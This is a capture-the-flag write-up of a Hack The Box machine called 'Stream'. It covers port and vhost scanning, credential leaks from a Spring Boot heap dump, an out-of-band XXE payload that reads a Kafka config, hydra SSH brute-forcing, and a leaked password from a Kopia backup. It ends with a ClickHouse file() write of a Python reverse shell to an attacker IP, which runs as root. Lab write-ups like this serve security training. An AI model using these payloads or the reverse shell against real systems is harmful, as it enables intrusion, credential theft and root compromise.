HTB - Stream - Season 12
Reconnaissance:
Enumerate the ports on the machine and then enumerate vHosts found on the target, this gives us a rough idea of what we are working with. We finally footprint the service by searching for ‘/actuator/heapdump’, this is a Java memory dump for Spring boot ‘/actuator’. A heap dump is primarly a diagnostic logging in Java’s application memory, it enables developers to diagnose issues but for us an attacker it’s a trove of information.
nmap -sV -sC -v $TARGET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://api.htb-airport.htb/ # !Vhost redirect here!
|_http-server-header: nginx/1.24.0 (Ubuntu)
8081/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
| http-methods:
|_ Supported Methods: GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u “http://htb-airport.htb” -H “Host: FUZZ.htb-airport.htb” -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://htb-airport.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
:: Header : Host: FUZZ.htb-airport.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
db [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 79ms]
api [Status: 200, Size: 362, Words: 9, Lines: 1, Duration: 71ms]
API [Status: 200, Size: 362, Words: 9, Lines: 1, Duration: 71ms]
DB [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 69ms]
:: Progress: [87664/87664] :: Job [1/1] :: 589 req/sec :: Duration: [0:02:37] :: Errors: 0 ::
This part was long as I needed to footprint the ‘api.htb-airport.htb’ which is a Spring Boot gateway. This means that we can downloads logs from ‘/actuator/heapdump’ and check for some credentials or other sensitive information.
Searching through the heap-dump using strings and grep for ‘Username’ we find:
svc_events
setUsername
Yl4aCgh4y2PnU
setPassword
terminal-edge-pool
setPoolName
With our newly acquired credentials we can now login Clickhouse’s API. > svc_events:Yl4aCgh4y2PnU
Foothold:
Spend some time getting familiar with the different python scripts on the web server. GET requesting ‘/feeds/aidx’ returns this message: “Ingest does not parse. Full validation happens downstream.”, this is helps us understand our coming XXE won’t be in-band. In order to escalate further we need to exploit a Out-of-band ‘XXE’ sending payloads to ‘/feeds/aidx’ and we use Clickhouse’s API with ‘svc_events’ credentials to read the content of the files. The file can be readed inside of ‘flightleg_json’ in the airline column.
Step 1(Sending the payload):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE evil [ <!ENTITY pikapi SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>Step 2(Reading the file):
SELECT * FROM flightleg_jsonNormally you would hit /etc/passwd and you can but we need the next user in the exploit chain and it is found in the ‘server.properties’. > svc_infra:“Ny2hdpme$bwT3”
Adding our payload to legitimate request would end up looking like this:
# You can just copy paste this payload, it should work
<?xml version="1.0"?>
<!DOCTYPE wow [<!ENTITY hairygorilla SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
Version="22.1" TimeStamp="2026-08-20T09:12:00Z" TransactionIdentifier="420-69">
<Originator Code="69"/>
<FlightLeg><LegIdentifier>
<Airline>&hairygorilla;</Airline>
<FlightNumber>420</FlightNumber>
<DepartureAirport>A</DepartureAirport>
<ArrivalAirport>B</ArrivalAirport>
<OriginDate>2026-08-20</OriginDate>
</LegIdentifier>
<LegData></LegData>
</FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>Privilege escalation:
With ‘svc_infra’ credentials we want to look at the ‘/etc/passwd’ file for the name of the next user we want to escalate to. We find ‘martin_cole’ in the file, we bruteforce that users login with hydra and the ‘rockyou.txt’ password list. As the user 'martin_cole', read the ‘user.txt’ flag. In 'martin_cole' home directory we see a folder named ‘backup’, this is for a kopia instance and we’re going to restore previously saved data. This should lead to compromising another account ‘default:N3v3rs33nD4T4’.
Brute force command:
# hydra -l martin_cole -P /usr/share/wordlists/rockyou.txt
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.129.170.202:22/
[22][ssh] host: 10.129.170.202 login: martin_cole password: tinkerbell
1 of 1 target successfully completed, 1 valid password found
Restoring Kopia snapshot:
# kopia restore
kopia repository status
kopia snapshot list --all
kopia snapshot restore kc43a7ec76aeac204b305df2b777304d1
Content of snapshot:
# First line of the error log
2026.08.25 10:13:42.753114 [ 1759 ] {9ae1c88a-847e-4425-be98-ec6166c77bb2}
<Error> DynamicQueryHandler: Code: 62. DB::Exception: Double quoted string is not closed: Syntax error: failed at position 1
("ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4 ;): "
ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4 ;
. . (SYNTAX_ERROR), Stack trace (when copying this message, always include the lines below):
With those credentials we can now log into the clickhouse API and start running some SQL queries.
Exploitation:
The important thing to understand for this next part, is that ‘aidx_quarantine’ is writable and is owned by root. That mean’s we can run anything written to ‘aidx_quarantine’ and we trigger it to launch what we added to the python script as root. We send the payload through Clickhouse’s API as a file() SQL function, next we send a trigger payload and then the Dead letter queue(DLQ) after 2 minute should trigger our payload.
Injecting the payload:
We can check the for the files located in the /user_files/ directory and its content:
# _file selects the name of the script
SELECT _file FROM file('*', 'rawblob')
# Reads the content of the files
SELECT * FROM file('*', 'rawblob') We insert into aidx_quarantine the python reverse shell:
INSERT INTO FUNCTION file('aidx_quarantine.py', 'rawBlob')
SELECT concat('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.204",6969));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh");')
FROM system.partsWeirdly enough it enters the reverse shell quite a few times, it still works though.
Trigger payload:
We write something to ‘kafka-console-producer’ and the timer found at:
We send the trigger payload:
echo 'whocares' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
--bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1Set your listener to receive the root shell and wait.
You can check for the timers if you aren’t sure if it is working with:
martin_cole@stream:/$ systemctl list-units --all | grep aidx
aidx-dlq-drainer.service loaded activating start start AIDX DLQ drainer and quarantine handler
aidx-ingest.service loaded active running AIDX ingest API (HTTP -> Kafka raw topic)
aidx-parser.service loaded active running AIDX parser worker (Kafka raw -> JSON topic)
aidx-dlq-drainer.timer loaded active running Run AIDX DLQ drainer every 2 minutes
You can check the time on the timer with:
martin_cole@stream:/$ systemctl cat aidx-dlq-drainer.timer
# /etc/systemd/system/aidx-dlq-drainer.timer
[Unit]
Description=Run AIDX DLQ drainer every 2 minutes
[Timer]
OnBootSec=1min
OnUnitActiveSec=2min
AccuracySec=15s
[Install]
WantedBy=timers.target
Recap:
There’s a few users to compromise and it can be a bit confusing so hopefully this section helps with understanding.
User compromise order:
unauth -> svc_events -> svc-infra -> martin_cole -> default
Let’s order up the steps now for greater clarity.
- Find and download the heap dump leaking credentials. (ie: ‘/actuator/heapdump’)
- Login Clickhouse API as ‘svc_events’
- Send Out-of-band ‘XXE’ to ‘/feeds/aidx’ to read the content of ‘server.properties’.
- Read the content of the file targeted on step 2 with strings inside ‘flightleg_json’.
- Login SSH using ‘svc-infra’ credentials.
- Use hydra to bruteforce the user ‘martin_cole’ with the wordlist ‘rockyou.txt’.
- Restore Kopia snapshot as ‘martin_cole’.
- Read the content of the restored Kopia snapshot.
- Write a python reverse shell to ‘aidx_quarantine.py’.
- Send trigger to the DLQ ‘kafka-console-producer.sh’.
- Wait for ‘aidx-dlq-drainer.timer’ to send a shell to your listener.
- ???
- Profit